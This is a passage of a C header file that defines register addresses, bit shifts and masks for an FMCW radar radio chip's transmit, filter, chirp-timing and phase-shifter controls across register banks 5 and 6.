#define RADIO_BK5_FMCW_TX1_CTRL_1_0_F3C_SEL_1_MASK 0x3
#define RADIO_BK5_FMCW_TX1_CTRL_1_1 0x42
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_4_SHIFT 0
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_4_MASK 0x3
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_3_SHIFT 2
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_3_MASK 0x3
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_2_SHIFT 4
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_2_MASK 0x3
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_1_SHIFT 6
#define RADIO_BK5_FMCW_TX1_CTRL_1_1_VAM_1_MASK 0x3
#define RADIO_BK5_FMCW_TX1_CTRL_1_2 0x43
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_EN_SHIFT 0
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_EN_MASK 0x1
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_P_SHIFT 1
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_P_MASK 0x3
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_S_SHIFT 3
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_S_MASK 0x1
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_OFF_S_SHIFT 4
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_OFF_S_MASK 0x3
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_RM_SHIFT 6
#define RADIO_BK5_FMCW_TX1_CTRL_1_2_VAM_RM_MASK 0x1
#define RADIO_BK5_FMCW_TX2_CTRL_1_0 0x44
#define RADIO_BK5_FMCW_TX2_CTRL_1_0_F3C_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_TX2_CTRL_1_0_F3C_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_TX2_CTRL_1_0_F3C_SEL_1_SHIFT 1
#define RADIO_BK5_FMCW_TX2_CTRL_1_0_F3C_SEL_1_MASK 0x3
#define RADIO_BK5_FMCW_TX2_CTRL_1_1 0x45
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_4_SHIFT 0
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_4_MASK 0x3
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_3_SHIFT 2
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_3_MASK 0x3
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_2_SHIFT 4
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_2_MASK 0x3
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_1_SHIFT 6
#define RADIO_BK5_FMCW_TX2_CTRL_1_1_VAM_1_MASK 0x3
#define RADIO_BK5_FMCW_TX2_CTRL_1_2 0x46
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_EN_SHIFT 0
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_EN_MASK 0x1
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_P_SHIFT 1
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_P_MASK 0x3
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_S_SHIFT 3
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_S_MASK 0x1
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_OFF_S_SHIFT 4
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_OFF_S_MASK 0x3
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_RM_SHIFT 6
#define RADIO_BK5_FMCW_TX2_CTRL_1_2_VAM_RM_MASK 0x1
#define RADIO_BK5_FMCW_TX3_CTRL_1_0 0x47
#define RADIO_BK5_FMCW_TX3_CTRL_1_0_F3C_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_TX3_CTRL_1_0_F3C_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_TX3_CTRL_1_0_F3C_SEL_1_SHIFT 1
#define RADIO_BK5_FMCW_TX3_CTRL_1_0_F3C_SEL_1_MASK 0x3
#define RADIO_BK5_FMCW_TX3_CTRL_1_1 0x48
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_4_SHIFT 0
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_4_MASK 0x3
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_3_SHIFT 2
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_3_MASK 0x3
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_2_SHIFT 4
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_2_MASK 0x3
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_1_SHIFT 6
#define RADIO_BK5_FMCW_TX3_CTRL_1_1_VAM_1_MASK 0x3
#define RADIO_BK5_FMCW_TX3_CTRL_1_2 0x49
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_EN_SHIFT 0
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_EN_MASK 0x1
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_P_SHIFT 1
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_P_MASK 0x3
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_S_SHIFT 3
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_S_MASK 0x1
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_OFF_S_SHIFT 4
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_OFF_S_MASK 0x3
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_RM_SHIFT 6
#define RADIO_BK5_FMCW_TX3_CTRL_1_2_VAM_RM_MASK 0x1
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_0 0x4a
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_0_SHIFT 0
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_0_MASK 0xff
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_1 0x4b
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_1_SHIFT 0
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_1_MASK 0xff
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_2 0x4c
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_2_SHIFT 0
#define RADIO_BK5_CH0_FILTER_DC_CANCEL_1_2_MASK 0x7f
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_0 0x4d
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_0_SHIFT 0
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_0_MASK 0xff
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_1 0x4e
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_1_SHIFT 0
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_1_MASK 0xff
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_2 0x4f
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_2_SHIFT 0
#define RADIO_BK5_CH1_FILTER_DC_CANCEL_1_2_MASK 0x7f
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_0 0x50
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_0_SHIFT 0
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_0_MASK 0xff
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_1 0x51
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_1_SHIFT 0
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_1_MASK 0xff
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_2 0x52
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_2_SHIFT 0
#define RADIO_BK5_CH2_FILTER_DC_CANCEL_1_2_MASK 0x7f
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_0 0x53
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_0_SHIFT 0
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_0_MASK 0xff
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_1 0x54
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_1_SHIFT 0
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_1_MASK 0xff
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_2 0x55
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_2_SHIFT 0
#define RADIO_BK5_CH3_FILTER_DC_CANCEL_1_2_MASK 0x7f
#define RADIO_BK5_FILTER_DAT_SFT_SEL_1 0x56
#define RADIO_BK5_FILTER_DAT_SFT_SEL_1_SHIFT 0
#define RADIO_BK5_FILTER_DAT_SFT_SEL_1_MASK 0x7
#define RADIO_BK5_FILTER_BDW_SEL_1 0x57
#define RADIO_BK5_FILTER_BDW_SEL_1_SHIFT 0
#define RADIO_BK5_FILTER_BDW_SEL_1_MASK 0x3
#define RADIO_BK5_FILTER_CLK_CTRL_1_0 0x58
#define RADIO_BK5_FILTER_CLK_CTRL_1_0_BW20M_EN_1_SHIFT 0
#define RADIO_BK5_FILTER_CLK_CTRL_1_0_BW20M_EN_1_MASK 0xf
#define RADIO_BK5_FILTER_CLK_CTRL_1_0_CLK_SEL_1_SHIFT 4
#define RADIO_BK5_FILTER_CLK_CTRL_1_0_CLK_SEL_1_MASK 0x1
#define RADIO_BK5_FILTER_CLK_CTRL_1_0_REFPLL_SDMADC_CLKSEL_1_SHIFT 5
#define RADIO_BK5_FILTER_CLK_CTRL_1_0_REFPLL_SDMADC_CLKSEL_1_MASK 0x1
#define RADIO_BK5_FILTER_CLK_CTRL_1_1 0x59
#define RADIO_BK5_FILTER_CLK_CTRL_1_1_SHIFT 0
#define RADIO_BK5_FILTER_CLK_CTRL_1_1_MASK 0x1
#define RADIO_BK5_FMCW_CMD_PRD_1 0x5a
#define RADIO_BK5_FMCW_CMD_PRD_1_SHIFT 0
#define RADIO_BK5_FMCW_CMD_PRD_1_MASK 0xff
#define RADIO_BK5_FMCW_CMD_SKP_1 0x5b
#define RADIO_BK5_FMCW_CMD_SKP_1_SHIFT 0
#define RADIO_BK5_FMCW_CMD_SKP_1_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_0 0x5c
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_0_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_0_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_1 0x5d
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_1_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_1_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_2 0x5e
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_2_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_2_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_3 0x5f
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_3_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_X_1_3_MASK 0xff
#define RADIO_BK5_FMCW_CMD_NUM_1_0 0x60
#define RADIO_BK5_FMCW_CMD_NUM_1_0_SHIFT 0
#define RADIO_BK5_FMCW_CMD_NUM_1_0_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_0 0x61
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_0_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_0_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_1 0x62
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_1_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_1_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_2 0x63
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_2_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_2_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_3 0x64
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_3_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Y_1_3_MASK 0xff
#define RADIO_BK5_FMCW_CMD_NUM_1_1 0x65
#define RADIO_BK5_FMCW_CMD_NUM_1_1_SHIFT 0
#define RADIO_BK5_FMCW_CMD_NUM_1_1_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_0 0x66
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_0_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_0_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_1 0x67
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_1_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_1_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_2 0x68
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_2_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_2_MASK 0xff
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_3 0x69
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_3_SHIFT 0
#define RADIO_BK5_FMCW_CMD_TIMER_Z_1_3_MASK 0xff
#define RADIO_BK5_FMCW_CMD_NUM_1_2 0x6a
#define RADIO_BK5_FMCW_CMD_NUM_1_2_SHIFT 0
#define RADIO_BK5_FMCW_CMD_NUM_1_2_MASK 0xff
#define RADIO_BK5_FMCW_AUTO_DLY_1_0 0x6b
#define RADIO_BK5_FMCW_AUTO_DLY_1_0_SHIFT 0
#define RADIO_BK5_FMCW_AUTO_DLY_1_0_MASK 0xff
#define RADIO_BK5_FMCW_AUTO_DLY_1_1 0x6c
#define RADIO_BK5_FMCW_AUTO_DLY_1_1_SHIFT 0
#define RADIO_BK5_FMCW_AUTO_DLY_1_1_MASK 0xff
#define RADIO_BK5_FMCW_AUTO_DLY_1_2 0x6d
#define RADIO_BK5_FMCW_AUTO_DLY_1_2_SHIFT 0
#define RADIO_BK5_FMCW_AUTO_DLY_1_2_MASK 0xff
#define RADIO_BK5_FMCW_AUTO_DLY_1_3 0x6e
#define RADIO_BK5_FMCW_AUTO_DLY_1_3_SHIFT 0
#define RADIO_BK5_FMCW_AUTO_DLY_1_3_MASK 0xff
#define RADIO_BK5_FMCW_AUTO_DLY_EN_1 0x6f
#define RADIO_BK5_FMCW_AUTO_DLY_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_AUTO_DLY_EN_1_MASK 0x1
#define RADIO_BK6_FMCW_START_TIME_2_0 0x1
#define RADIO_BK6_FMCW_START_TIME_2_0_SHIFT 0
#define RADIO_BK6_FMCW_START_TIME_2_0_MASK 0xff
#define RADIO_BK6_FMCW_START_TIME_2_1 0x2
#define RADIO_BK6_FMCW_START_TIME_2_1_SHIFT 0
#define RADIO_BK6_FMCW_START_TIME_2_1_MASK 0xff
#define RADIO_BK6_FMCW_START_TIME_2_2 0x3
#define RADIO_BK6_FMCW_START_TIME_2_2_SHIFT 0
#define RADIO_BK6_FMCW_START_TIME_2_2_MASK 0xff
#define RADIO_BK6_FMCW_START_TIME_2_3 0x4
#define RADIO_BK6_FMCW_START_TIME_2_3_SHIFT 0
#define RADIO_BK6_FMCW_START_TIME_2_3_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_2_0 0x5
#define RADIO_BK6_FMCW_START_FREQ_2_0_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_2_0_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_2_1 0x6
#define RADIO_BK6_FMCW_START_FREQ_2_1_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_2_1_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_2_2 0x7
#define RADIO_BK6_FMCW_START_FREQ_2_2_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_2_2_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_2_3 0x8
#define RADIO_BK6_FMCW_START_FREQ_2_3_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_2_3_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_2_0 0x9
#define RADIO_BK6_FMCW_STOP_FREQ_2_0_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_2_0_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_2_1 0xa
#define RADIO_BK6_FMCW_STOP_FREQ_2_1_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_2_1_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_2_2 0xb
#define RADIO_BK6_FMCW_STOP_FREQ_2_2_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_2_2_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_2_3 0xc
#define RADIO_BK6_FMCW_STOP_FREQ_2_3_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_2_3_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_0 0xd
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_0_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_0_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_1 0xe
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_1_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_1_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_2 0xf
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_2_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_2_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_3 0x10
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_3_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_2_3_MASK 0xf
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_0 0x11
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_0_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_0_MASK 0xff
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_1 0x12
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_1_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_1_MASK 0xff
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_2 0x13
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_2_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_2_MASK 0xff
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_3 0x14
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_3_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_2_3_MASK 0xf
#define RADIO_BK6_FMCW_IDLE_2_0 0x15
#define RADIO_BK6_FMCW_IDLE_2_0_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_2_0_MASK 0xff
#define RADIO_BK6_FMCW_IDLE_2_1 0x16
#define RADIO_BK6_FMCW_IDLE_2_1_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_2_1_MASK 0xff
#define RADIO_BK6_FMCW_IDLE_2_2 0x17
#define RADIO_BK6_FMCW_IDLE_2_2_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_2_2_MASK 0xff
#define RADIO_BK6_FMCW_IDLE_2_3 0x18
#define RADIO_BK6_FMCW_IDLE_2_3_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_2_3_MASK 0xff
#define RADIO_BK6_FMCW_CHIRP_SIZE_2_0 0x19
#define RADIO_BK6_FMCW_CHIRP_SIZE_2_0_SHIFT 0
#define RADIO_BK6_FMCW_CHIRP_SIZE_2_0_MASK 0xff
#define RADIO_BK6_FMCW_CHIRP_SIZE_2_1 0x1a
#define RADIO_BK6_FMCW_CHIRP_SIZE_2_1_SHIFT 0
#define RADIO_BK6_FMCW_CHIRP_SIZE_2_1_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_HP_2_0 0x1b
#define RADIO_BK6_FMCW_START_FREQ_HP_2_0_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_HP_2_0_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_HP_2_1 0x1c
#define RADIO_BK6_FMCW_START_FREQ_HP_2_1_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_HP_2_1_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_HP_2_2 0x1d
#define RADIO_BK6_FMCW_START_FREQ_HP_2_2_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_HP_2_2_MASK 0xff
#define RADIO_BK6_FMCW_START_FREQ_HP_2_3 0x1e
#define RADIO_BK6_FMCW_START_FREQ_HP_2_3_SHIFT 0
#define RADIO_BK6_FMCW_START_FREQ_HP_2_3_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_0 0x1f
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_0_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_0_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_1 0x20
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_1_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_1_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_2 0x21
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_2_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_2_MASK 0xff
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_3 0x22
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_3_SHIFT 0
#define RADIO_BK6_FMCW_STOP_FREQ_HP_2_3_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_0 0x23
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_0_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_0_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_1 0x24
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_1_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_1_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_2 0x25
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_2_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_2_MASK 0xff
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_3 0x26
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_3_SHIFT 0
#define RADIO_BK6_FMCW_STEP_UP_FREQ_HP_2_3_MASK 0xf
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_0 0x27
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_0_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_0_MASK 0xff
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_1 0x28
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_1_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_1_MASK 0xff
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_2 0x29
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_2_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_2_MASK 0xff
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_3 0x2a
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_3_SHIFT 0
#define RADIO_BK6_FMCW_STEP_DN_FREQ_HP_2_3_MASK 0xf
#define RADIO_BK6_FMCW_IDLE_HP_2_0 0x2b
#define RADIO_BK6_FMCW_IDLE_HP_2_0_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_HP_2_0_MASK 0xff
#define RADIO_BK6_FMCW_IDLE_HP_2_1 0x2c
#define RADIO_BK6_FMCW_IDLE_HP_2_1_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_HP_2_1_MASK 0xff
#define RADIO_BK6_FMCW_IDLE_HP_2_2 0x2d
#define RADIO_BK6_FMCW_IDLE_HP_2_2_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_HP_2_2_MASK 0xff
#define RADIO_BK6_FMCW_IDLE_HP_2_3 0x2e
#define RADIO_BK6_FMCW_IDLE_HP_2_3_SHIFT 0
#define RADIO_BK6_FMCW_IDLE_HP_2_3_MASK 0xff
#define RADIO_BK6_FMCW_AGC_EN_2 0x2f
#define RADIO_BK6_FMCW_AGC_EN_2_AGC_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_AGC_EN_2_AGC_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_AGC_EN_2_AGC_FRM_CNT_PARITY_2_SHIFT 1
#define RADIO_BK6_FMCW_AGC_EN_2_AGC_FRM_CNT_PARITY_2_MASK 0x1
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_0 0x30
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_0_SHIFT 0
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_0_MASK 0xff
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_1 0x31
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_1_SHIFT 0
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_1_MASK 0xff
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_2 0x32
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_2_SHIFT 0
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_2_MASK 0xff
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_3 0x33
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_3_SHIFT 0
#define RADIO_BK6_FMCW_CS_AVA_DLY_2_3_MASK 0xff
#define RADIO_BK6_FMCW_CS_AVA_EN_2 0x34
#define RADIO_BK6_FMCW_CS_AVA_EN_2_CS_AVA_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_CS_AVA_EN_2_CS_AVA_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_CS_AVA_EN_2_CS_AVA_PARITY_2_SHIFT 1
#define RADIO_BK6_FMCW_CS_AVA_EN_2_CS_AVA_PARITY_2_MASK 0x1
#define RADIO_BK6_FMCW_CS_AVA_EN_2_CS_AVA_TX_SEL_2_SHIFT 2
#define RADIO_BK6_FMCW_CS_AVA_EN_2_CS_AVA_TX_SEL_2_MASK 0x3
#define RADIO_BK6_FMCW_CS_DLY_2_0 0x35
#define RADIO_BK6_FMCW_CS_DLY_2_0_SHIFT 0
#define RADIO_BK6_FMCW_CS_DLY_2_0_MASK 0xff
#define RADIO_BK6_FMCW_CS_DLY_2_1 0x36
#define RADIO_BK6_FMCW_CS_DLY_2_1_SHIFT 0
#define RADIO_BK6_FMCW_CS_DLY_2_1_MASK 0xff
#define RADIO_BK6_FMCW_CS_DLY_2_2 0x37
#define RADIO_BK6_FMCW_CS_DLY_2_2_SHIFT 0
#define RADIO_BK6_FMCW_CS_DLY_2_2_MASK 0xff
#define RADIO_BK6_FMCW_CS_DLY_2_3 0x38
#define RADIO_BK6_FMCW_CS_DLY_2_3_SHIFT 0
#define RADIO_BK6_FMCW_CS_DLY_2_3_MASK 0xff
#define RADIO_BK6_FMCW_CS_EN_2 0x39
#define RADIO_BK6_FMCW_CS_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_CS_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_HP_EN_2 0x3a
#define RADIO_BK6_FMCW_HP_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_HP_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_0 0x3b
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX0_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX0_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX1_EN_2_SHIFT 1
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX1_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX2_EN_2_SHIFT 2
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX2_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX3_EN_2_SHIFT 3
#define RADIO_BK6_FMCW_PS_CTRL_2_0_PS_BYPR_TX3_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_1 0x3c
#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX0_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX0_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX1_EN_2_SHIFT 1
#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX1_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX2_EN_2_SHIFT 2
